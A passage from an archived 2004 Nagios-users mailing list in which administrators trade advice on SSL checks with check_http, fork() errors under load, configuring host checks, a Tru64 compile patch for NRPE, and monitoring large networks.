Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. > ::: Messages without supporting info will risk being sent to /dev/null > -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.3.5 (GNU/Linux) Comment: pgpenvelope 2.10.2 - http://pgpenvelope.sourceforge.net/ iD8DBQFAWbnbl2ODWuqVSBMRAqiuAJ9LE+67y6fJ165Gb5lP0BIXq2zIGQCeNMBn ilcFmYUK2+mPmy/j6wyZFDo= =aWep -----END PGP SIGNATURE----- ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From rnelson at windchannel.com Thu Mar 18 16:09:46 2004 From: rnelson at windchannel.com (Robert Nelson) Date: Thu, 18 Mar 2004 10:09:46 -0500 Subject: check_https? Message-ID: Thanks, I didn't realize that the machine in question didn't have openssl-devel installed. "configure" is nice, but it needs a summary at the bottom for idgits like me :) BTW, anyone know why I'm seeing replies to my email before I am seeing my own email hit the list? Rob Nelson Network Engineer Windchannel Communications M: 919-538-6326 > -----Original Message----- > From: Jason Martin [mailto:jhmartin at toger.us] > Sent: Thursday, March 18, 2004 10:02 AM > To: Robert Nelson > Cc: nagios-users at lists.sourceforge.net > Subject: Re: [Nagios-users] check_https? > > > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > check_http can handle that but you have to have openssl on > the machine it > is compiled on. There is a -S runtime option to enable ssl. > > - -Jason Martin ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From mike at marauder.illiana.net Thu Mar 18 16:11:27 2004 From: mike at marauder.illiana.net (mike neuliep) Date: Thu, 18 Mar 2004 09:11:27 -0600 (CST) Subject: Nagios Run-Time Errors Message-ID: Nagios Users List: I'm running into the two following run time errors: [1079563103] Warning: The check of service 'PING' on host 'site1396' could not be performed due to a fork() error. The check will be rescheduled. [1079563109] SERVICE ALERT: site1394;PING;UNKNOWN;SOFT;1;Cannot open pipe: /bin/ ping -n -c 5 10.221.57.1 When these errors occur, they will happen in blocks of twenty or thirty at a time and the progressively get worse as Nagios runs. Currently I'm attempting to monitor about 500 sites and 600 services. The OS is the latest Debian Stable running on a Compaq DL380 dual p2.8 with 3gig ram so I'm 100% there isn't any bottleneck in the hardware. The OS is not running out of processes because I can launch new processes when nagios can't fork. The problem is present in both nagios 1.1 and nagios 1.2. There have been a few posts on this subject in the listserv in the past, however no one ever has had a resolution for it. Any help would be greatly appreciated! Mike Neuliep -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Mike Neuliep, Illiana Internet LLC | Providing solutions in wireless internet, PO BOX 593, Peotone IL 60468 | security, bandwidth, colocation, education Cell 708-932-9547 mike at illiana.net | and networking. --Cisco CCNP Certified-- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From agrajag at dragaera.net Thu Mar 18 16:26:44 2004 From: agrajag at dragaera.net (Sean Dilda) Date: Thu, 18 Mar 2004 10:26:44 -0500 Subject: check_https? In-Reply-To: References: Message-ID: <1079623604.4406.10.camel@pel> On Thu, 2004-03-18 at 09:32, Robert Nelson wrote: > Does anyone have a check_https plugin? I've tried check_http -p 443, and unless there's another option you need to use at the same time, it doesn't seem to work. Thanks. >From 'check_http -h': -S, --ssl Connect via SSL ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jhmartin at toger.us Thu Mar 18 16:29:54 2004 From: jhmartin at toger.us (Jason Martin) Date: Thu, 18 Mar 2004 07:29:54 -0800 (PST) Subject: check_https? In-Reply-To: References: Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 There are 2500+ people on nagios-users; I imagine some people will get the question and send you an answer (cc'd to your real address) before mailman gets around to sending you your original post :> - -Jason Martin On Thu, 18 Mar 2004, Robert Nelson wrote: > Thanks, I didn't realize that the machine in question didn't have openssl-devel installed. "configure" is nice, but it needs a summary at the bottom for idgits like me :) > > BTW, anyone know why I'm seeing replies to my email before I am seeing my own email hit the list? > > Rob Nelson > Network Engineer > Windchannel Communications > M: 919-538-6326 > > > -----Original Message----- > > From: Jason Martin [mailto:jhmartin at toger.us] > > Sent: Thursday, March 18, 2004 10:02 AM > > To: Robert Nelson > > Cc: nagios-users at lists.sourceforge.net > > Subject: Re: [Nagios-users] check_https? > > > > > > -----BEGIN PGP SIGNED MESSAGE----- > > Hash: SHA1 > > > > check_http can handle that but you have to have openssl on > > the machine it > > is compiled on. There is a -S runtime option to enable ssl. > > > > - -Jason Martin > -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.3.5 (GNU/Linux) Comment: pgpenvelope 2.10.2 - http://pgpenvelope.sourceforge.net/ iD8DBQFAWcB5l2ODWuqVSBMRApqQAKCPKztOQCmxWt1m9KzPA9lQwROyIwCeOWaK g+LKlFoyJ8Twsv8Izfc2P24= =zsbe -----END PGP SIGNATURE----- ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jeff.vier at tradingtechnologies.com Thu Mar 18 16:37:45 2004 From: jeff.vier at tradingtechnologies.com (jeff vier) Date: Thu, 18 Mar 2004 09:37:45 -0600 Subject: New Module IDEA In-Reply-To: <518772850433D4119AAA00105AC460987B28E9@mail.tpb.be> References: <518772850433D4119AAA00105AC460987B28E9@mail.tpb.be> Message-ID: <1079624265.7327.4528.camel@localhost> On Thu, 2004-03-18 at 03:35, Ludo Bosmans wrote: > Have a look to "curl". The curl command accept an input file with arguments > to get and post. Also response time can be requested. > A check_http can be finished in a relative short time, but you don't have an > idea of the application speed behind. With curl you can do content checking > while gathering the response times and put thresholds on it. curl is an excellent tool, but if I go that route, I'm writing a plugin from scratch (which is more than a "whip it up" project). :) And, as much as that's useful information, the additional benefits are redundant - the ping checks should tell you lag time, etc. If I'm just checking, say, 10 pages on one host, response time is rather silly for all of them (I think). ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From agrajag at dragaera.net Thu Mar 18 16:44:31 2004 From: agrajag at dragaera.net (Sean Dilda) Date: Thu, 18 Mar 2004 10:44:31 -0500 Subject: Problem with time between soft down checks In-Reply-To: <834D93DB7AA4004F893BB62597D5774C53374F@fcsrv0004.finncorp.com> References: <834D93DB7AA4004F893BB62597D5774C53374F@fcsrv0004.finncorp.com> Message-ID: <1079624671.4406.17.camel@pel> On Thu, 2004-03-18 at 09:52, Josh Van As wrote: > Thank you for the advice! > > I hope this has been changed in 2.0, or at least made user selectable. > > How do you just run service checks for a particular host? I thought > there had to be a host check so that you can set up a service check? The way nagios works is it runs service checks. If the service is in WARNING or CRITICAL state, then nagios will run the check command for the host associated with the service. So, by default you are running service checks. So what's happening if you have a network glitch, which causes the service check to fail. Nagios immediately starts doing host checks to see if the host is alive. Because of the network glitch, they fail and you get a page. What Marc was saying is that Nagios unfortunately doesn't let you do much configuration with how host checks are done. One (slightly convoluted) solution might be to have the default contacts for your hosts be setup to never actually notify anyone. Then setup escalations, so that it'll wait until the next time that host is actually checked before it "escalates" the notifications to actually notify someone. ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From marc at ena.com Thu Mar 18 16:50:51 2004 From: marc at ena.com (Marc Powell) Date: Thu, 18 Mar 2004 09:50:51 -0600 Subject: Problem with time between soft down checks Message-ID: <370ACCFA5BB3B346A31222E5559BF91F03A35F@mismail2.ena.com> On Thursday, March 18, 2004 8:52 AM, Josh Van As shared with us: > Thank you for the advice! > > I hope this has been changed in 2.0, or at least made user selectable. > > How do you just run service checks for a particular host? I thought > there had to be a host check so that you can set up a service check? There has to be a host definition but the check_command for that host is optional. -- Marc ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From marc at ena.com Thu Mar 18 16:58:02 2004 From: marc at ena.com (Marc Powell) Date: Thu, 18 Mar 2004 09:58:02 -0600 Subject: Nagios Run-Time Errors Message-ID: <370ACCFA5BB3B346A31222E5559BF91F03A360@mismail2.ena.com> On Thursday, March 18, 2004 9:11 AM, mike neuliep shared with us: > Nagios Users List: > > I'm running into the two following run time errors: > > [1079563103] Warning: The check of service 'PING' on host 'site1396' > could not be performed due to a fork() error. The check will be > rescheduled. > > [1079563109] SERVICE ALERT: site1394;PING;UNKNOWN;SOFT;1;Cannot open > pipe: /bin/ ping -n -c 5 10.221.57.1 > > When these errors occur, they will happen in blocks of twenty or > thirty at a time and the progressively get worse as Nagios runs. > Currently I'm attempting to monitor about 500 sites and 600 services. > The OS is the latest Debian Stable running on a Compaq DL380 dual > p2.8 with 3gig ram so I'm 100% there isn't any bottleneck in the > hardware. The OS is not running out of processes because I can > launch new processes when nagios can't fork. The problem is present > in both nagios 1.1 and nagios 1.2. > > There have been a few posts on this subject in the listserv in the > past, however no one ever has had a resolution for it. Any help > would be greatly appreciated! Do you see that nagios is spawning a lot of processes that hang around? Is the daemon using a lot of memory? You could be hitting ulimits. By default most linux (and unix?) distributions limit the number of open files, memory usage, max processes etc that a single user can gobble up and are generally much less than the total for a machine. Under redhat the limits are rather high but Debian could be more strict. Run 'ulimit -a' as nagios to see what those are and how your utilization compares. I'm presuming that the space above between '/bin/' and 'ping -n' is a copy/paste error. -- Marc ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From novickj at toysrus.com Thu Mar 18 17:34:20 2004 From: novickj at toysrus.com (Novick, Jeff) Date: Thu, 18 Mar 2004 11:34:20 -0500 Subject: NRPE on Tru64 Alpha Message-ID: <7CB57EABD6C23342AA8282DA820698990803C1D5@msg01psp.tru.com> Hi, all, Second request for help. Can anybody help? Jeff -----Original Message----- From: Novick, Jeff [mailto:novickj at toysrus.com] Sent: Friday, March 05, 2004 1:13 PM To: 'Steve Feehan'; 'nagios at acmecargo.com' Cc: 'nagios-users at lists.sourceforge.net' Subject: RE: [Nagios-users] NRPE on Tru64 Alpha Hi, I applied this patch as I was receiving the "error: storage size of `long_options' isn't known" error , but now I am receiving this error with Compaq C : # make cd ./src/; make ; cd .. cc -g -DHAVE_CONFIG_H -o nrpe nrpe.c utils.c nrpe.c: cc: Error: nrpe.c, line 520: In this declaration, "socklen_t" must specify a type. (badparsedecl) socklen_t addrlen; --------^ cc: Error: nrpe.c, line 619: In this statement, "addrlen" is not declared. (undeclared) addrlen=sizeof(addr); --------------------------------^ utils.c: *** Exit 1 Stop. *** Exit 1 Stop. cc -V Compaq C V6.3-029 on Compaq Tru64 UNIX P5.1 (Rev. 725) Compiler Driver V6.3-029 (sys) cc Driver and with gcc I get : # make cd ./src/; make ; cd .. make[1]: Entering directory `/root/source/nrpe-2.0/src' gcc -g -O2 -DHAVE_CONFIG_H -o nrpe nrpe.c utils.c nrpe.c: In function `wait_for_connections': nrpe.c:520: `socklen_t' undeclared (first use in this function) nrpe.c:520: (Each undeclared identifier is reported only once nrpe.c:520: for each function it appears in.) nrpe.c:520: syntax error before "addrlen" nrpe.c:619: `addrlen' undeclared (first use in this function) make[1]: *** [nrpe] Error 1 make[1]: Leaving directory `/root/source/nrpe-2.0/src' gcc --version gcc (GCC) 3.2.3 Copyright (C) 2002 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. What can I do? Thank you, Jeff -----Original Message----- From: Steve Feehan [mailto:sfeehan at sbb.uvm.edu] Sent: Tuesday, January 13, 2004 10:18 AM To: nagios at acmecargo.com Cc: nagios-users at lists.sourceforge.net Subject: Re: [Nagios-users] NRPE on Tru64 Alpha On Tue, Jan 13, 2004 at 09:01:39AM -0500, Steve Feehan wrote: > On Tue, Jan 13, 2004 at 07:37:05AM -0500, nagios at acmecargo.com wrote: > > I have 4 Compaq Alpha servers running Tru64. Does anybody know where source > > for the NRPE agent might exists for these platforms? > > > > Dylan > > The source is the same for all platforms. I have successfully > built nrpe for tru64 (5.1a). I recall that it required small > changes to the source code. I think it was all related to > tru64 not having getopt_long. > > Steve Here's a patch that works for me: diff -ur nrpe-2.0/src/check_nrpe.c nrpe-2.0-mod/src/check_nrpe.c --- nrpe-2.0/src/check_nrpe.c 2003-09-08 22:52:37.000000000 -0400 +++ nrpe-2.0-mod/src/check_nrpe.c 2003-12-01 18:00:48.000000000 -0500 @@ -308,7 +308,7 @@ int c=1; int i=1; -#ifdef HAVE_GETOPT_H +/* #ifdef HAVE_GETOPT_H int option_index=0; static struct option long_options[]={ {"host", required_argument, 0, 'H'}, @@ -321,7 +321,7 @@ {"license", no_argument, 0, 'l'}, {0, 0, 0, 0} }; -#endif +#endif */ /* no options were supplied */ if(argc<2) @@ -330,11 +330,11 @@ snprintf(optchars,MAX_INPUT_BUFFER,"H:c:a:t:p:nhl"); while(1){ -#ifdef HAVE_GETOPT_H +/* #ifdef HAVE_GETOPT_H c=getopt_long(argc,argv,optchars,long_options,&option_index); -#else +#else */ c=getopt(argc,argv,optchars); -#endif +/*#endif*/ if(c==-1 || c==EOF) break; diff -ur nrpe-2.0/src/nrpe.c nrpe-2.0-mod/src/nrpe.c --- nrpe-2.0/src/nrpe.c 2003-09-08 22:52:37.000000000 -0400 +++ nrpe-2.0-mod/src/nrpe.c 2003-12-01 18:01:25.000000000 -0500 @@ -1437,7 +1437,7 @@ int c=1; int have_mode=FALSE; -#ifdef HAVE_GETOPT_H +/*#ifdef HAVE_GETOPT_H int option_index=0; static struct option long_options[]={ {"config", required_argument, 0, 'c'}, @@ -1448,7 +1448,7 @@ {"license", no_argument, 0, 'l'}, {0, 0, 0, 0} }; -#endif +#endif */ /* no options were supplied */ if(argc<2) @@ -1457,11 +1457,11 @@ snprintf(optchars,MAX_INPUT_BUFFER,"c:nidhl"); while(1){ -#ifdef HAVE_GETOPT_H +/*#ifdef HAVE_GETOPT_H c=getopt_long(argc,argv,optchars,long_options,&option_index); -#else +#else */ c=getopt(argc,argv,optchars); -#endif +/* #endif */ if(c==-1 || c==EOF) break; ------------------------------------------------------- This SF.net email is sponsored by: Perforce Software. Perforce is the Fast Software Configuration Management System offering advanced branching capabilities and atomic changes on 50+ platforms. Free Eval! http://www.perforce.com/perforce/loadprog.html _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null ======================================================================== This email message is for the sole use of the intended recipient (s) and may contain confidential and privileged information. Any unauthorized review, use, disclosure or distribution is prohibited. If you are not the intended recipient, please contact the sender by reply email and destroy all copies of the original message. To reply to our email administrator directly, send an email to EmailAdmin at toysrus.com. Toys "R" Us, Inc. ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jeff.vier at tradingtechnologies.com Thu Mar 18 17:54:20 2004 From: jeff.vier at tradingtechnologies.com (jeff vier) Date: Thu, 18 Mar 2004 10:54:20 -0600 Subject: check_https? In-Reply-To: References: Message-ID: <1079628859.7327.4555.camel@localhost> On Thu, 2004-03-18 at 08:32, Robert Nelson wrote: > Does anyone have a check_https plugin? I've tried check_http -p 443, and unless there's another option you need to use at the same time, it doesn't seem to work. Thanks. /usr/local/nagios/libexec/check_http --help the answer is in there. ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From cschelin at hq.nasa.gov Thu Mar 18 18:01:27 2004 From: cschelin at hq.nasa.gov (Carl Schelin) Date: 18 Mar 2004 12:01:27 -0500 Subject: check_https? In-Reply-To: References: Message-ID: <1079629287.15057.629.camel@unixgod.hq.nasa.gov> Yea but the -S option isn't compiled in if you don't have an SSL product available upon compile. That's what threw me when I first tried. Carl On Thu, 2004-03-18 at 10:01, Jason Martin wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > check_http can handle that but you have to have openssl on the machine it > is compiled on. There is a -S runtime option to enable ssl. > > - -Jason Martin > > On Thu, 18 Mar 2004, Robert Nelson wrote: > > > Does anyone have a check_https plugin? I've tried check_http -p 443, and unless there's another option you need to use at the same time, it doesn't seem to work. Thanks. > > > > Rob Nelson > > Network Engineer > > Windchannel Communications > > M: 919-538-6326 > > > > > > ------------------------------------------------------- > > This SF.Net email is sponsored by: IBM Linux Tutorials > > Free Linux tutorial presented by Daniel Robbins, President and CEO of > > GenToo technologies. Learn everything from fundamentals to system > > administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click > > _______________________________________________ > > Nagios-users mailing list > > Nagios-users at lists.sourceforge.net > > https://lists.sourceforge.net/lists/listinfo/nagios-users > > ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. > > ::: Messages without supporting info will risk being sent to /dev/null > > > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.3.5 (GNU/Linux) > Comment: pgpenvelope 2.10.2 - http://pgpenvelope.sourceforge.net/ > > iD8DBQFAWbnbl2ODWuqVSBMRAqiuAJ9LE+67y6fJ165Gb5lP0BIXq2zIGQCeNMBn > ilcFmYUK2+mPmy/j6wyZFDo= > =aWep > -----END PGP SIGNATURE----- > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. > ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From cskelton at rackforce.com Thu Mar 18 18:13:12 2004 From: cskelton at rackforce.com (Craig Skelton) Date: Thu, 18 Mar 2004 09:13:12 -0800 Subject: Large networks ? References: Message-ID: <010a01c40d0c$4b782470$7100a8c0@rfo.rackforce.com> I'm currently monitoring 700+ servers with 2200+ services on a single nagios system. On a dual athalon 2G with 2G it hums along at this: Metric Min. Max. Average Check Execution Time: < 1 sec 44 sec 0.247 sec Check Latency: < 1 sec 10 sec 0.191 sec Percent State Change: 0.00% 0.00% 0.00% As long as you're using simple checks, it can handle thousands of checks. ----- Original Message ----- From: nadine.vandois at bull.net To: nagios-users at lists.sourceforge.net Sent: Monday, March 15, 2004 10:04 AM Subject: [Nagios-users] Large networks ? Hi, I have installed Nagios on small networks, and now, I would like to get some idea on how many servers (servers, routers) and services, Nagios can monitor. And, in this case, which configuration is required, and what are the performances. May someone give some information on this subject ? Has someone got experience by monitoring large networks ? Any information you can give is most welcome. Thanks in advance for your help. Nadine VANDOIS ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null -------------- next part -------------- An HTML attachment was scrubbed... URL: From james at expresscomputers.com Thu Mar 18 19:34:19 2004 From: james at expresscomputers.com (James Bowes) Date: Thu, 18 Mar 2004 10:34:19 -0800 Subject: Distributed monitoring vs nrpe Message-ID: Hi folks. I'm in the process of getting a client onto nagios monitoring. I have a central server in the office and was considering deploying a distributed server to the client's office. I am wondering about these issues: 1. Is the plugin checking for nrpe safe and secure? It seems to be. So wold anyone be able to describe it to me? I'm not against it though I haven't really read up on it enough... 2. Is a distributed server the best way to handle things? I am really only checking a router, a printer and a single server. On the server I'll be checking mandatory services on a W2K box and Exchange services. Thanks for any and all responses. --james James Bowes, Senior Consultant, Express Computer Service Centre. 604-535-6508 ext.305 ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From sghosh at sghosh.org Thu Mar 18 19:48:32 2004 From: sghosh at sghosh.org (Subhendu Ghosh) Date: Thu, 18 Mar 2004 13:48:32 -0500 (EST) Subject: Distributed monitoring vs nrpe In-Reply-To: References: Message-ID: On Thu, 18 Mar 2004, James Bowes wrote: > Hi folks. > > I'm in the process of getting a client onto nagios monitoring. I have a > central server in the office and was considering deploying a distributed > server to the client's office. I am wondering about these issues: > > 1. Is the plugin checking for nrpe safe and secure? It seems to be. So > wold anyone be able to describe it to me? I'm not against it though I > haven't really read up on it enough... NRPE uses a CA-less SSL connection > > 2. Is a distributed server the best way to handle things? I am really > only checking a router, a printer and a single server. On the server > I'll be checking mandatory services on a W2K box and Exchange services. you may do just fine with NRPE and NSClient or NREP_NT -- -sg ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From ramog at starcalif.com Thu Mar 18 19:53:47 2004 From: ramog at starcalif.com (Rochel Amog) Date: Thu, 18 Mar 2004 10:53:47 -0800 Subject: check_swap.pl plugin Message-ID: <007d01c40d1a$58556a00$0d1fa8c0@sysadmin.starcalif.com> Is there anybody know what port number this plugin "check_swap.pl" used to check the swap space of a monitored host. Thanks for helping. Rochel -------------- next part -------------- An HTML attachment was scrubbed... URL: From sghosh at sghosh.org Thu Mar 18 20:06:22 2004 From: sghosh at sghosh.org (Subhendu Ghosh) Date: Thu, 18 Mar 2004 14:06:22 -0500 (EST) Subject: check_swap.pl plugin In-Reply-To: <007d01c40d1a$58556a00$0d1fa8c0@sysadmin.starcalif.com> References: <007d01c40d1a$58556a00$0d1fa8c0@sysadmin.starcalif.com> Message-ID: On Thu, 18 Mar 2004, Rochel Amog wrote: > Is there anybody know what port number this plugin "check_swap.pl" used > to check the swap space of a monitored host. It only checks the local host > > Thanks for helping. > Rochel -- ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jhmartin at toger.us Thu Mar 18 20:18:03 2004 From: jhmartin at toger.us (Jason Martin) Date: Thu, 18 Mar 2004 11:18:03 -0800 (PST) Subject: check_swap.pl plugin In-Reply-To: <007d01c40d1a$58556a00$0d1fa8c0@sysadmin.starcalif.com> References: <007d01c40d1a$58556a00$0d1fa8c0@sysadmin.starcalif.com> Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 5666 by default, but its whatever you set NRPE to use. A specific plugin has now knowledge of port numbers (excepting network-based plugins ie check_tcp) - -Jason Martin On Thu, 18 Mar 2004, Rochel Amog wrote: > Is there anybody know what port number this plugin "check_swap.pl" used to check the swap space of a monitored host. > > Thanks for helping. > Rochel -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.3.5 (GNU/Linux) Comment: pgpenvelope 2.10.2 - http://pgpenvelope.sourceforge.net/ iD8DBQFAWfX1l2ODWuqVSBMRAj2EAJ416AwdaO0C8dregLvMayToOSmOlACcCyvy 5sD0Zza1SZZKZBNt9XoFZos= =gill -----END PGP SIGNATURE----- ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net 